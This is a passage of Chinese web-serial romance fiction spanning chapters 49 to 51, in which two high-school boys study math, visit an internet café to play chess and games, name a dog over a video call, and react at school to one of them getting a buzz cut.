楚明垂眼细细看过他略微绷紧的手背,青筋骨条鲜明。 他不得已加重了力道,跟擀面似的揉按着江淮的头发,指腹时不时隔着毛巾按压头皮作浅层按摩。 按力道来说……算深层了。 “要这种?”见他没再拧眉,楚明歪了点儿头问他。 江淮继续做题:“嗯。” 楚明无奈地笑笑:“你这种去按摩店能给店员累死。” 江淮挑了下眉:“你会吗?” “不会。”楚明只是指头稍微有些发麻,按久了的缘故。 “那不就得了。”江淮没忍住又转了圈笔:“你以后要是去按摩店工作,我天天去点你。” 楚明:“……” 他指腹重重摁了下他侧颈,气声:“当什么呢还天天点。” 江淮笑了笑,笑完发现自己傻逼兮兮地把双曲线当成抛物线来算,连忙叉掉重算。 尾稍发根处有干燥痕迹之后,楚明便微微收了力道,很轻地用毛巾边角扫了扫他前额、耳廓、后颈。 目光透过江淮浓密的发梢落在卷面,手指随意玩弄发丝时他静静看着。 江淮做完第一面,没急着翻页,仰头看向楚明,眉梢微微扬起。 他嘴唇轻勾:“怎么,在找错?” 楚明目光稍一回缩便撞进他的视野里,有些不受控制地描过他眉弓、鼻骨、唇峰、下巴尖儿。 他嗓音有些沉:“随便看看。” “你头发有点长,”江淮突然说了句:“该剪剪了。” 楚明没跟上他的速度:“啊?” 江淮抬手,指尖捻起他垂落在眼尾的几根细发,往旁边勾扫开,说:“这样更好看。” 才洗完澡,江淮手腕指尖俱是淡淡的香气,随着他动作而荡漾到鼻尖。 楚明轻轻眨了下眼:“嗯……” “嗯屁,”江淮收回手:“你就是随口一应付。” “也不一定。”楚明收走毛巾,俯身,手臂越过他肩颈处勾走红笔在第1题划了条斜杠,轻声:“你这题做得也挺应付。” 江淮看了一眼。 ……与x轴平行,则该直线的方程为……C.x=3…… “靠,”江淮反应过来立刻在旁边写上A,“你眼睛还挺利索。” 楚明只是淡声:“错得太明显。” 陪着江淮把这套卷子从头到尾看完做完,时针默默地走过11点的点位。 “晚安。”楚明弯身换好鞋,熟练地跟他道别。 “我送你。”江淮连忙蹬上鞋,不容他拒绝地随他走出门,嘭地一声关上门。 楚明轻拧了下眉:“你他……你在忙什么?” 江淮不解地看着他:“嗯?” 楚明靠墙而立,眼神平静地上下扫了扫他:“你钥匙呢?” 江淮脑袋像被门夹了,蓦地反应过来:“……” 楚明沉沉地叹了叹气,“傻逼。” “啧,”江淮倚在他对墙,摸出手机解锁,在通讯录底端拨出个号。 相对无言半个小时后,楼道口匆匆忙忙跑进来个人,抹掉汗水蹲地上把工具箱打开便问:“什么问题?” 还没等回答,这人仰起头才看一眼就变了口吻:“又是你啊……果然还得是你赵师傅靠谱吧!” 楚明挑了下眉:“又?” 江淮悻悻地摸了摸鼻尖:“……”—— 作者有话说:作者:配把钥匙给楚明吧,姓江的还是不太靠谱[托腮] 第49章 第 49 章 “我陪楚明。” 十月一日四方祥和, 红歌遍野。 江淮昨晚睡得相当沉,应该是楚明按他头皮按得力道重的缘故。 他爬起来洗漱完,把电视频道调到一台, 偶尔听上两句, 自在地去准备早餐。 【阿越】好久没上机游戏了,来不来? 【阿越】把楚明也带上呗,感觉他水平应该不差。 江淮睡得舒坦,心情很好。 【狗】来。 【阿越】好样的, 还是老规矩, 今晚七点不见不散。 【狗】嗯。 回完他的消息,江淮两口吃完面包片,直接给楚明拨了个视频通话。 响应良久都不见回应。 还没醒…… 他正要挂掉, 就见铃声哑然而断,屏幕瞬间被另类的光景占据。 楚明醒了但没完全醒,全凭感觉摁到接通键, 便把手机支起对着自己, 含混地嗯了一声。 江淮轻拧了下眉:“楚明。“ 楚明没应,幅度极小地动了下,屏幕里是他乌黑的发顶、略尖的下巴和大敞开着的领口里深陷的锁骨。 “操, ”江淮不理解睡成这样还接个屁的视频通话, 曲指指关节叩了叩屏幕, 冷声:“楚明。” “嗯。”楚明指尖动了动, 好半会儿才睁开眼睛, 看清面前屏幕里江淮的脸时,忽地一震,连忙坐直,没忍住:“操……” 江淮:“……” 他静静地看着屏幕里的人从迷糊到清醒, 没多言。 半分钟后楚明清了清嗓子:“有什么事吗?” “带你出去玩儿,”江淮单手撑着自己下巴,说:“来不来?” 楚明把手机拿着去洗漱:“玩什么?” “游戏。”江淮说。 “不来,”楚明把手机立在镜子前,弯身拧开水龙头捧了手水往嘴里喂。 咕噜吐完,他垂眼挤牙膏。 江淮看着他的动作愣了两秒神,回过神来才后知后觉地问:“为什么?” 把牙刷戳进嘴里前楚明回道:“不会。” “那你想来吗?”江淮又问。 楚明在刷牙:“……” 他抬眼时不可避免地和江淮视线撞上,操纵着牙刷的手稍有停顿。 “你要想来,我就安排,”江淮隔着屏幕看他:“要是不想,也不勉强。” 楚明吐掉牙膏沫子,捧了几把水清洗干净口腔:“我来。” “嗯。”江淮勾了勾唇:“晚六点半我来接你。”- 零号网吧。 柜台前负责招待的小姑娘是彩妞,名字不重要,因为一眼就能看出这个彩妞彩在哪里。 顶着一头赤橙黄绿青蓝紫的色盘,彩妞说:“阿越哥……” 还没说完严越就举手跳了跳:“这儿!这儿!” 有两三个人往他这边瞄了眼,以为揽客呢…… 江淮带着楚明往那边走去,给他找了个座后压低声音说:“没兴趣了就叫我,我带你走。” 楚明坐下:“嗯。” 严越没订包间,说是要氛围感,坐散座。 篮球队的这几位麻雀基本到齐往周遭一坐便开始登号,喳喳道:“开始!快开始!” “我下局。”江淮随意应了一声,视线便落到楚明身上。 “瞧瞧这……”严越笑着把耳机带上:“直接开!” 网吧里确实热闹非凡。 “我教你,”江淮凑到他耳边,轻声说:“要不要?” “不要。”楚明回答得挺快,小声:“带我走。” 江淮看着他笑出了声,抬手揉了揉他发顶:“我是不是忘跟你说来网吧了?” “不然?”楚明看着他。 “行,”江淮打开机子,打好“先走了,慢玩”几个字,他伸手敲了敲严越的耳机。 严越看过来,嘴撅出一个嫌弃的弧度,大拇指食指搓了个“ok”。 走出去街巷都显得安静了。 楚明消化了会儿乱七八糟的嘈喧,转头问了句:“你进去吧,我随便转转。” “不用操心他们,”江淮带着他沿街走:“谁都能是他们的队友。” 楚明看了他一眼,低眸半刻还是没选择挣开他攥着自己腕骨的手。 这会儿街道里便开始揽客招呼呐喊了。 “要喝点东西吗?”江淮问。 “喝。”楚明没跟他客气。 “那在这等我。”江淮见这地方还算清净,大树底下,对面还有饭店能镇守四方的大风扇转悠。 楚明点了下头:“好。” 不远处有家小咖啡店。 江淮才走进去就恰好撞见双臂挽在一起有说有笑的一男一女推门出来,他刚往旁边让开一步,下一秒就听见自己的名字上了天。 “江淮?!”格外尖锐。 江淮:“……” 他面无表情地对上魏天的视线,没什么情绪,只是看到旁边和她紧密依偎着的陈炜,才不禁挑了下眉。 一对儿啊,难怪。 魏天看到他倒没什么多余的感觉,大多就是作为手下败将的略有不甘。 但旁边陈炜就稍有不同。 他连忙挣开紧紧卡进魏天指缝里的手,咳了两声,手忙脚乱地嘬食了一口咖啡,目光飘散着说:“好巧啊。” “不巧,”江淮拉开门:“本来没注意到的。” 陈炜:“……” 魏天:“……”她是否该为她吼的那一嗓子感到抱歉。 买回咖啡江淮径直回到大树旁,见楚明正专心致志看着旁边一堆秃顶大爷,他挑了下眉,跟着看过去。 在下象棋。 围着一圈摇蒲扇穿大裤衩的,楚明凑过去的头便显得格外突出。 江淮端着咖啡,曲指弹了下他后腰,低声:“兴趣在这儿?” 猝不及防被他吓得一颤,楚明偏过头时鼻尖径直划过他脸颊。 两人俱是一顿。 “……抱歉。”楚明随手端走一杯咖啡,“谢谢。” 江淮指尖捻了一下:“嗯。” 他并排着和楚明看眼下的这盘棋局。 “吃他的炮,一个兵换一个炮,多值当!” “这一步走得好!” “哎你莫动嘞个马噻!划不着!” “糟了,人家要将你的军了,你还不动等到死吗!” 旁边大爷们心急火燎地当着墙头草军师,一会儿指挥这个一会儿指挥那个,忙得不亦乐乎。 “安静安静,”红方大爷用蒲扇给周围人扇风降火:“观棋不语,给老子整输了我就来找你们!” 楚明很轻地笑了笑。 微微抬头抿了口咖啡,目光淡淡扫过红黑双方,见红方帅气逼人地献祭掉“軍”,他抬手拉了一把江淮:“不看了。” 江淮跟着他走:“嗯?” “再走一步就输了。”楚明说。 江淮没忍住挑了下眉:“你玩这个很厉害?” 楚明看了他一眼。 如果说眼睛会说话,那么对视上的这一瞬间四只眼睛将齐刷刷地说出一个“啊”,表示:我也这么想。 下一秒两人心照不宣地往零号网吧走去- “卡点大王啊。”严越正好结束两局,瞄见江淮进门疯狂点邀请。 “玩你的,”江淮回绝掉:“我陪楚明。” 严越:“……行吧行吧,见色忘友之徒比比皆是,我也只是人海茫茫里从不孤独的那个友。” 江淮冷他一眼:“你吃多了?” “没,”严越笑笑,往网吧里物色一圈开始随机挑选他的可能的队友,忽地瞄见门口孤零零走进来的大个儿,连忙举手:“兄弟,这儿!” 那兄弟乐兮兮地跑过来。 江淮和楚明两台机子一致地点开了象棋游戏。 登录时楚明往新过来的兄弟身上瞄了一眼: 不好,是喇叭哥。 他想也没想就戴上耳机。 旁边江淮慢他一步,被喇叭哥激情昂扬的“正好正好,一起上分啊兄弟!”给震得肩头一抖。 严越和几个队友同时一愣,瞳孔都被震碎了似的,惊恐地看着仿若有雷霆之力的喇叭哥,久久没有回神。 其他机子里的人还以为有砸场子的,纷纷被惊得往旁侧挪去。 看清形势才惊魂未定地挪回来。 “我操,”严越竖起大拇指:“兄弟你能喊爆音响炸场子。” 喇叭哥腼腆一笑:“天生的,改不了。” 江淮缓缓舒气。 有先见之明的楚明勾唇笑了笑,抬手帮他戴上耳机。 江淮看了他一会儿,垂眸摁下“开始”键。 经典象棋游戏。 楚明喜欢先动炮谋阵,江淮则随心地移着最前面的兵打头阵。 过楚河汉界之后开始吃,楚明暂时没有胃口,但送了几个兵之后直截了当地要了江淮的軍。 “你俩这……”严越操纵的玩意死了,随意往旁边屏幕上扫了眼,看着两盘棋,他脑子宕机了两秒,摘下耳机凑过去轻声说:“怎么玩起这个了?” 江淮余光带过他:“别管。” “……没想管来着,”严越又扣上耳机:“单纯觉得稀奇。” 象棋下到尾声,能吃的子基本都剩得不多。 江淮沉思片刻献祭了自己的马,微向后靠进椅子里,目光落在楚明安静认真的眉眼间。 网吧内光线总是暗的,只有纷繁杂乱的机子屏幕射出光影。 前额被稍长的发丝遮了七七八八,眼睫落垂出细碎阴影……五官在潦草的昏黑里分明清晰。 楚明长得……是很好看。 把对方能走的路想得差不多但迟迟没见对方走子,楚明指尖点了点桌面:“该你了。” “嗯……”江淮回过神来,随手戳走自己的兵去送死。 楚明:“……” 兵过河可横走格,而江淮这个兵恰好为空对准“帥”的炮搭了桥。 他牵了下嘴角,看向江淮:“你在干嘛?” 江淮看了眼棋盘才反应过来,淡定地说:“你吃。” 楚明:“……” 他动炮结束了这一局。 接下来第二局江淮没再傻逼地走神,认真地输了一局。 “你经常玩?”江淮摘下耳机,轻声问。 楚明怕他听不见,往他那边凑了些:“经常看。” “看什么?”江淮问。 楚明顿了两秒:“我爷爷喜欢下,我放学放假经常会去看棋。” “哦,”江淮点了下头,伸手揽过他的肩,说:“我不擅长这个。” 楚明说:“看得出来。” 微凉的鼻尖擦过侧颈,江淮轻顿后笑了笑,“但我擅长其他的,想看吗?” 楚明看了眼旁边正玩得面红耳赤的几人,偏头:“你去。” 严越他们玩的游戏比较经典,5v5。 这会队内战绩有点难看,尤其是出局不利死的次数能当对面mvp评分的严越…… “我操啊,”严越又死了,眼神空洞地看着正好偏过头来的江淮:“你来救一局呗。” 江淮没多言,起身要接他的位。 严越连忙让开,笑着伸了个懒腰:“稳了。” 楚明淡淡地往他那边落去目光。 看局势已然逆风,聊天区域内还有对方堂而皇之的挑衅。 【吃爷爷一剑】对面人机吗? 【摔奶奶一跟头】对面的妹子下局来跟我玩儿,我带飞。 “他就喜欢打逆风局,”严越嘬了口奶茶,笑嘻嘻地跟楚明做解说。 楚明看得出来:“嗯。” 他起身站到江淮身后,手指轻搭在椅靠微微俯身,垂眼静静看去。 江淮手指灵活操作极快,捡回拉开的差距后便迅速切人。 同队队友对此毫不意外,甚至有些习以为常。 “不是?”喇叭哥正痛苦面具着,见到队友突然冒出的三连杀,登时睁圆眼:“好牛逼!” 楚明眼疾手快地捂住江淮两只耳朵。 隔绝掉喇叭哥能震碎耳膜的死动静。 “操啊。”严越感觉脑子被震掉半块,踉跄两步才站稳:“声音真大。” “谢了。”江淮偏耳,发丝轻轻蹭在楚明手腕内侧。 楚明克制住被痒得缩回手的冲动:“条件反射而已。” 拉成楚河汉界似的差距逐渐被追回,江淮目光沉冷地看着屏幕,指尖灵活点翻。 楚明捂着他的耳朵没收回手。 看着他乌黑的发顶和格外挺翘的鼻尖,视线稳稳落在他冷白的手指,没再移开。 “牛逼啊。”喇叭哥收不住情绪,看到“VICTORY”之后甩掉耳机就起身,正要对着严越的位置笑嘻嘻,就看到张熟悉的脸庞,他几乎条件反射地:“江淮……” 扣班级分0.5分。 江淮淡淡抬眼。 “呃……有点牛逼。”喇叭哥娇羞下来:“非常牛逼。” 江淮发现被捂着耳朵和他交流依旧毫无障碍,扣在楚明手背的手便垂了下去:“我知道。” 喇叭哥眼睛亮了亮,连忙抱起耳机:“能再来一局吗?” 江淮勉为其难地再玩了几局,稳定没输。 “我天,我冲一星期都没冲上去的段位今天一个多小时就冲上去了。”喇叭哥止不住的激动:“江淮你简直是神。” 江淮脑袋往后仰了些:“……离神远点说话。” “我嗓门压不住,”喇叭哥艰难地用气声说话,但发现要呲口水,最终还是选择直接说话:“我以后能找你玩儿吗?” 严越在旁边啧了啧:“好的,今日进账迷弟一枚。” 江淮勾了下唇:“不打了,有点困。” “啊,我来我来!”严越买的时间还没消费完,舍不得浪费,一屁股挤开他,戴上耳机说:“来跟上你们越哥的节奏!” 队友接道:“慷慨赴死……” 江淮确实打得有点困。 坐回椅子里时叼起吸管蚕食掉两口咖啡,挑了下眉,问:“怎么样?” 楚明端起咖啡杯碰了碰他的,轻声:“很帅。”- 晚饭时彩妞去买了些鸡蛋煎饼手抓饼以作充饥。 差不多十点出头的时候游戏结束,走出网吧就拦上出租车让司机头脑风暴如何顺路。 “我送你?”楚明推着自行车走到门口,问道。 “嗯,”江淮没客气,扭头和严越说完再见,便坐上后座,单手抱住他腰。 严越没眼看,跳起脚招了招对面标着“有客”的出租车。 绕出三段路,楚明感觉后背微微发热发沉。 江淮睡着了…… 他慢下速度单手掌着把手,短暂思考后捞起江淮另一只手扣在自己腰侧,轻按,嘱咐了句:“要是掉下去,我不捡你啊。” 江淮没应,只是在潜意识里双手把他的腰扣紧了些。 楚明险些被他勒断气,轻轻拍了下他手背才缓过劲儿来继续骑车。 道路两旁还有没散落完的广场舞气息,鲜明的律动跳荡在耳窝里。 城市明灯亮得跟假象一样。 楚明载着人慢悠悠地晃在路边,绕开井盖、凹坑,平稳地驶回家。 “醒了。”楚明没下车,反手拍着他的背。 江淮双臂收紧,鼻尖贴着楚明后背衣料深深吸了口气,脑袋往旁边歪着垂下去。 楚明反手捞住,拧了下眉:“没喝酒你这副死样子。” 江淮下巴卡在他侧腰,闻声眉心轻压,像是要把自己硬生生揉进楚明身体里似的,收紧怀抱。 楚明想也没想一把拍在他手背,正要给他撂翻,江淮不知怎的,隔着单薄衣料狠狠一口咬在他侧腰……—— 作者有话说:明天见喽。 服了,抢了三天票都没抢到,国庆真是好样的[愤怒][愤怒] 第50章 第 50 章 各退一步,叫江日月吧。…… “嘶……” 楚明疼得缩腰, 手心扣住他后脖颈就势将他往外重地擒去。 江淮被迫后仰的同时楚明一把掐住他脖颈,蹙着眉问:“还没醒?” “嗯?”江淮睁开眼,被前面路灯刺到眼睛, 连忙偏了下头, 很轻地说:“有点饿。” 楚明:“……” 他起身把脚架打好,拽着江淮胳膊把人带到楼道里,轻声:“我给你下面。” 江淮被拽得清醒过来,应了声:“嗯。” 楚明松开他, 侧眸看了眼被咬出牙印凹状的短袖, 不悦地说:“你给我道歉。” 江淮看过去,后知后觉地:“……嗯。” 接水,择菜, 下面,调料,捞面, 上桌。 楚明抽了双筷子递到江淮手里, 轻声:“吃吧。” 江淮接过没应,目光下落落到他侧腰,抬手撩起白t侧摆, 看了眼腰上还没消褪完的牙印, 顿了下:“对不起。” 楚明收了要打掉他手的动作, 挑了下眉:“这么轻易?” “我的错。”江淮指腹轻摁在印痕上, 抬眼:“我梦到正在吃的兔肉长腿跑了, 我去追,追了三条街才追到,有些气愤,就狠狠咬了一口。” 楚明:“……” 他扫开他的手指, 坐到对面:“好傻逼的梦。” 江淮很轻地笑了笑,埋头吃面。 楚明则俯身,把腰际被咬得有些破皮的小点看了看,轻叹一声把衣服放下去。 他总觉得江淮有颗牙齿格外尖,咬人很痛。 几次都是…… 江淮把碗筷清洗好,边擦手边往卧室走。 站楚明身后扫了眼他正做的试卷,他侧身抵靠在书桌桌沿,说:“我走了。” “嗯,”楚明停笔,抬眼看他:“晚安。” “晚安。”江淮揉了把他的头,走出卧室。 楚明这一瞬间想给自己剃成刺猬头,方便直接扎疼乱摸他脑袋的江淮的手那种!- 【狗】在干嘛? 【Cming】逗狗。 【狗】? 楚明蹲坐在院墙里的矮阶上,脚边趴着只白毛小狗,他掌心轻蹭着它柔软的毛发。 看到消息时没绷住笑了笑,索性直接打了个视频通话过去。 江淮才锻炼完,取下膝盖间的弹力环,微喘着点开视频。 屏幕里跳进来一只白狗,正对着他哈舌头。 江淮:“……” “没逗你,”楚明慢慢把镜头对准自己,背景里是黑蓝色暗沉的天空和纷乱杂多的星星,他略低的嗓音混在偶尔闪烁的虫鸣里:“它是真狗。” 江淮啧了一声,呼吸偏沉地说:“你这是在哪?” “在老家,”楚明脚尖点走白狗,镜头追着狗屁股把偌大的院子框进屏幕,远景是青黑色连绵的矮山轮廓。 江淮坐直了些:“挺漂亮。” “嗯,”楚明笑了笑,长腿跨到台阶最后一级站起来,声音揉着夜色:“没事我挂了。” 江淮挑了下眉:“一分钟都没到,你急着干嘛?” 楚明低眸看着屏幕里江淮的脸,轻声:“散步。” “不准挂,”江淮敲了下屏幕。 江淮的声音不亮,本身偏沉的音色又是运动之后,隔着手机响在耳朵里,楚明不太合时宜地想,这声音很适合哄睡。 顿了有好几秒,晚风浮动额前碎发,楚明神色有些深,看不太真切,良久很低地应道:“好。” 楚明绕着院坝闲散着走,时不时仰头看看月亮星星。 “你昵称为什么是狗?”他忽然出声问。 江淮扯了下嘴角:“我之前发誓说读一天书我是一天狗,现在还没来得及摆脱。” 楚明没想到昵称背后有这么傻逼的原因,笑了笑:“几岁发的誓?听着挺二。” “……”江淮也没忍住笑意,歪了下头:“去年三四月的时候吧,现在听着是挺傻逼。你那只狗呢?叫什么?” “也是去年捡的,”楚明顿了下:“没名。要不姓江吧?” 江淮:“……” 他从齿缝里挤出一句:“你直接说叫江淮得了。” 楚明笑着,“不是这个意思。” 江淮一副你看我信不信你的表情,紧抿着唇。 “那这样,”楚明没忍住继续笑着:“你来取名,行吧?” “我取?”江淮听到这话眉梢飞挑。 楚明心说狗还不能有四五六七个名字吗,点头:“嗯。” 江淮进到浴室把手机立放在镜前,想了想,“叫日月吧。” 楚明:“……你直接说叫楚明得了。” “啧,你懂我。”看着他微愣的表情江淮乐得紧,笑着把手伸到腰间往上脱拽掉背心,挑了下眉:“各退一步,叫江日月吧。” 看清屏幕里忽然光裸着的上半身,楚明飞快别开视线,咽了下唾沫:“什么?” “江日月。”江淮重复了遍:“你耳朵聋了吗?” 楚明:“……听到了。” 他余光往屏幕扫了眼,轻声提醒:“你确定要裸着出镜?” “你第一次看吗?”江淮把手机扣下去,对准大理石台面,平静地说:“有汗黏着不舒服。” “哦,”楚明勾了一脚江日月,“那你洗澡,我先挂了。” “等下,”江淮的脖子以上出镜:“好看吗?” 听到这话楚明没收住,咵嚓踩到江日月的狗爪子,江日月差点蹦到他脸上……楚明惊得往后仰了仰,好一会儿才看向屏幕。 江淮看着里面鸡飞狗跳,探出头笑着问:“你干嘛?” “没,”楚明佯装淡定地和他对视:“很好看。” “啧。”江淮笑了笑。 再聊了些不搭杠的话,远远听到自己的名字从远处灯火里飞来,楚明犹豫地扭了下头,才很轻地说了句:“有人找,先晚安。” “哦,”江淮也听到对面老头的声音,没再纠缠:“晚安。” “……嗯。”楚明莫名有些不舍,但还是挂了电话。 他和狗飞快地往家里跑去,风吹得发丝衣摆纷纷飞扬,很自由的气息。 走到门口时楚明挽起袖口,把狗带回狗窝里。 “跟谁打电话呢?”他奶孤疑地问道:“都跑出二里地了,我们听不得?” 楚明淡淡地笑了下,没细说。 只是进屋里收捡了些吃食,明天回去或许可以带给江淮那只狗。 收捡好东西楚明回到楼上小房间里,躺上床忽地想到什么,他坐起来给江淮发了个消息。 【Cming】睡没? 【狗】睡了。 【Cming】傻逼。 【Cming】一点土特产,要不要? 【狗】送货上门的话,可以考虑。 【Cming】那你考虑。 【狗】来我家。 楚明是收假前一天晚上回的家,衣服都没换便直接到江淮小区楼下。 “这是什么?”江淮接过袋子往里嗅了嗅:“好香。” 楚明淡淡地说:“砒霜。” 江淮:“……” 其实给江淮带的是一些能直接下口的零嘴。 ……和一套数学试卷。 “你倒是很关心我的学习。”江淮坐在沙发上,从布袋里掏出一套试卷时稍有些无奈。 楚明换好鞋坐到他旁边:“一般关心。” “行吧。”江淮这次月考也确实不尽如意。 套卷和专题卷还是有些不同,这几次套卷他也就擦着三位数的边,实在拿不出手。 含着块糖进书房前,他看着垂明稍有些疲态的脸问道:“你才回来?” “嗯,”楚明说着就要起身:“送完货回去补觉。” 倒是离不开一个睡字。江淮顿了下:“去我床上睡吧,不嫌弃你。” “……嗯。”楚明思忖半刻后也没有推拒。 他之前好像睡过一次江淮的床。 不过这次是清醒且竖着进去,得以看清卧室里的陈设。 风格比较精简,整体是灰色调,他坐在床边,上半身躺好双腿支着地面,仰躺往下压到枕头,给震动手环定了四十分钟的闹铃。 余光忽地瞥过半开的衣柜,那件九号球衣没变过,只是这次看得细,视线带过球衣旁的俩相框。 一张是胶网前小酷孩捧着金奖杯。 另一张是拥挤的观众台下,伸手掀起胸前奖牌微微勾唇的江淮。 楚明轻顿了下,张扬的睡意有片刻收敛。 都是九号球衣- “功力大减啊楚大神,”江淮听到门边有动静,转着笔就扭过头来。 楚明没听明白:“什么?” “按你睡神的功力,我都做好明早喊你起床的准备了。”江淮说。 楚明:“……” 他走过来坐到书桌旁的椅子上,往进度大约百分之二十的试卷上匆匆瞥过,轻声问道:“你是不是忘了什么?” 江淮转身,从兜里摸出颗糖扔嘴里含着,看他:“嗯?” “你的半月板,”楚明说着目光垂到他左膝,轻轻问了句。 江淮脸色微变,咔吧一声咬碎了糖块,他抬了下眼皮:“怎么突然问这个?” “没,”楚明说:“想着你太久没去检查过。” 江淮晃了晃左腿:“差不多,没什么问题。” “嗯……”楚明明显感觉到他在刻意回避,没再多说,微微往前挪了些许:“你做,我看。” 江淮看着他,半晌转着笔坐回去:“下次你做。” “再说。”楚明说。 书房如长夜般安静,谁也没出声,只听得见笔尖带过纸面的细碎和空调外机的频震。 江淮在做动弦问题,运算量比较大,微敛着眉目光认真。 楚明看了他一会儿,摸出手机。 【秦苗】今晚来吗? 楚明抬眼看了看江淮,调出键盘但久久没按下。 “怎么,”江淮利落地杠掉ABC,偏过头来看他:“看我干嘛?” 楚明别开视线摁熄屏幕,淡定地说:“想说句话。” 江淮挑了下眉:“我他妈堵你嘴了?” 楚明:“……” 他眉心很轻地压了下,“你少说脏话。” “啧,”江淮撂下笔:“我说脏话怎么你了?” 楚明两指翻转着手机,闻声微微往后仰了下头,沉声:“你是不是说过,我什么要求,你都答应。” 江淮感觉不妙:“……是。” 楚明淡淡地说:“那这就是要求。” 江淮:“……” “我有点事,得先走。”楚明低眸回了句“来”,利落地起身:“晚安。” “晚个屁的安。”江淮分毫犹豫都没有,拽住楚明的手腕推着他便往旁边书架狠地按去。 楚明抵挡不及地坐靠在架沿,慌忙之间右手胡乱地探摸着支撑点,后脑勺要磕到架缝之前被江淮的掌心稳稳托住了。 他拧眉,声音都跟着气息不稳:“你要干嘛?” “你再说一遍。”江淮因着这个姿势比他略高出一截,垂眼贪婪地看着他所有的细微表情。 楚明指节收折着紧按在书架:“什么?” 江淮没有回答他的问题。 楚明默了两秒,找突破机会的同时反问道:“不能走吗?” 江淮不语。 只能看见他眼里缀着零星的……笑意,楚明瞬间会意,横肘将他往外推的时候说:“那不是要求,是建议,行了吗?” 江淮慢慢收回手,退到桌沿看着楚明:“要求就要求,我说到做到。” 楚明:“……” 他不知道江淮搞这一出什么意思,虽然不介意,但他还是问了句:“你怎么了?” “确认一下。”江淮说。 楚明揣手机:“确认什么?” “我确实更喜欢你,”江淮顿了一下,说:“现在的性子。”—— 作者有话说:明天继续[捂脸偷看]《 》 50-60 第51章 第 51 章 什么流氓命令。 下半年学期的假期少, 十一长假之后难有大假。 度日如加速日地过完三天,大马猴坐到讲台沉默寡言地看着稀稀拉拉的座位。 “八点收假,”大马猴怨气重得跟昨晚才做完鬼似的:“现在七点四十才到二十多个人, 就这种学习态度怎么可能学得好!” 无人应答, 沉默是金子的金。 江淮踩点到的班,想走后门但发现后门被锁着。 他绕到前门,单肩挎着包推门而入时,和几十道视线撞了个正着。 江淮:“……” “你看看现在几点了?”大马猴怨念深重地看着他。 江淮抬眼看向教室墙上的挂钟, 认真回答:“八点。” 大马猴:“几分?” 江淮依旧认真:“差十秒一分。” 大马猴:“……” 他要飞出去的唾沫瞬间就被无能为力的心脏吸了回去, 他沉着脸说:“下次早点到班,学习态度放积极一点,让全班同学等你一个多不好。” 江淮顿了下:“等我干嘛?” 大马猴噎住, 无言以对便直接轰人:“快回座位回座位,准备上课。” 江淮不甚在意地往自己位置上走。 混在乱七八糟翻书声里的视线绕过形形色色的脸径直落向最后一排,江淮看清楚人时被自己的双脚猛地绊住。 慌忙撑到过道旁的桌面才没往下摔成狗吃屎。 “我靠!”赵西连人带桌俱是一抖, 声音都劈了:“吓我一跳!” 大马猴带着众多眼睛一同看向这边, “怎么了?” 江淮抬了下手:“没站稳。” 大马猴&21班同学:“……” 等拂走众多视线江淮才走回座位,难以置信地再次看向他同桌。 短寸…… 带着黑色口罩始终垂眼看着题,他刚才摔那么大动静都没让楚明稍微掀一下眼皮。 江淮喉结轻滚, 捞过草稿本翻页。 想写些什么却无从下笔, 懵然地再度看向楚明的脸。 之前楚明头发偏长的时候, 前额、眉眼多多少少会被遮掩些许。 但现在所有的阻碍全被推倒, 看着都硌手的短寸干净利落, 露出的上半张脸立体出挑…… 江淮咬了下自己舌尖,痛觉传达到神经时他才回过神,不可思议地压低声音问了句:“你来真的?” 楚明正做着题,闻声掀起眼皮, 淡淡扫了他一眼:“不然?” “操,”江淮视线描着他硬挺的眉弓和鼻梁骨,没忍住低声:“好他妈帅。” 楚明:“……” 掩在口罩下的唇极轻地勾了下,他扭过头继续做题。 大概是有意而为之,大马猴讲题的时候特地先从难题开始。 接连把几个迟到的人点完,拖出那道压轴选择便喊:“江淮,上来讲这道题。” 江淮缓缓从楚明侧脸挪开视线,扫题,平静起身。 大马猴憋着劲儿要使出的大招顿住,没想到今天江淮半句反抗没有还如此好脾气…… “动点问题找关系……”江淮捻着半截粉笔板书,三言两语交代完说:“选A。” 大马猴看着他精简但正确的板书没有多说,勉强道:“做得还不错,下去好好听课。” 他话音还没落干净,底下却突然爆发出三声清脆的掌声。 “啪啪啪!” 班级:“……” 喇叭哥独树一帜地鼓完掌,笑着还喊了一声:“牛逼!” 浑厚的声音在四面墙里争相回荡,比深山老谷还回音浩荡…… 江淮:“……” 大马猴扭过头之前还以为全班在造反,看清形势立刻把戒尺抱好,苦命地交代:“侯俊你声音能不能小点,全班都没你一个人声音大。” 喇叭哥腼腆地放下手:“我尽量、尽量。” 数学课在鸡飞狗跳里逝世。 下课后江淮侧过身子仔细打量楚明,挑了下眉:“口罩摘了我看看。” 楚明:“……” 什么流氓命令。 他眼皮轻抬以作回应,伸手把压在鼻梁上的口罩往上提了些许。 “怎么,”江淮抬脚踩在他椅子杠上,轻声:“不让我看?” 楚明微微垂眼,稍斜着扫他:“嗯。” 江淮:“……” 他正准备撤开等放学的时候再说,就忽地感觉桌面一重,抬眼见赵逵逵半个身子都躺在他桌面,拧了下眉:“你有毛病?” “没毛病,”赵逵逵直勾勾地看着楚明,小声说:“我进学校就听到有人在讨论什么寸头帅哥,进教室的时候我还以为我走错班了……哥们,寸头帅爆地表啊!” 楚明看了他一眼,收回视线。 赵逵逵惊讶地看着江淮:“牛而逼之,吓得我以为有两个江哥,刚刚的眼神也太像了吧。” 江淮挑眉。 “我之前怎么没发现你长得还行,”赵逵逵挠了下脑袋:“果然换发型如换头,我也去剪个寸头怎么样?” “别,”江淮扫了他一眼:“会变成黑人。” 赵逵逵:“……” 楚明没忍住轻笑了声。 不知道是不是因为赵逵逵下课那些惊叹词喊得没控制好音量。 整个上午时不时会有人往后甩头,窃窃私语始终没断过。 “啧,”江淮偶尔捕捉到两句关于楚明的话,挑了下眉。 不悦地看向楚明,问:“什么叫我亲自上手刮了你头发?” 楚明:“……” 他捏着笔的手轻顿,眉眼小幅度地弯了些。 “笑屁笑,”江淮想也没想,在说话间隙迅速伸手勾掉他耳上挂着的带子,同时两指把楚明的脸往墙壁一侧推了些,有条不紊地扯开口罩。 指腹按在他下颌骨微往上抬。 一瞬间整张脸毕览无余。 “……?” 楚明半秒反应时间都没用到便翻腕,反手扣住他的手往身下狠地压去,按到江淮大腿根处任江淮挣扎都纹丝不动,他沉声:“戴上。” 江淮垂眸扫了眼他因用力而青筋绷起的手腕,啧了一声,“没必要。” 楚明以为自己幻听了:“什么?” 江淮原封不动地把口罩带子挂回他耳边,扬眉:“换个发型而已,有什么好遮掩的?” 楚明顿了下:“没遮掩。” 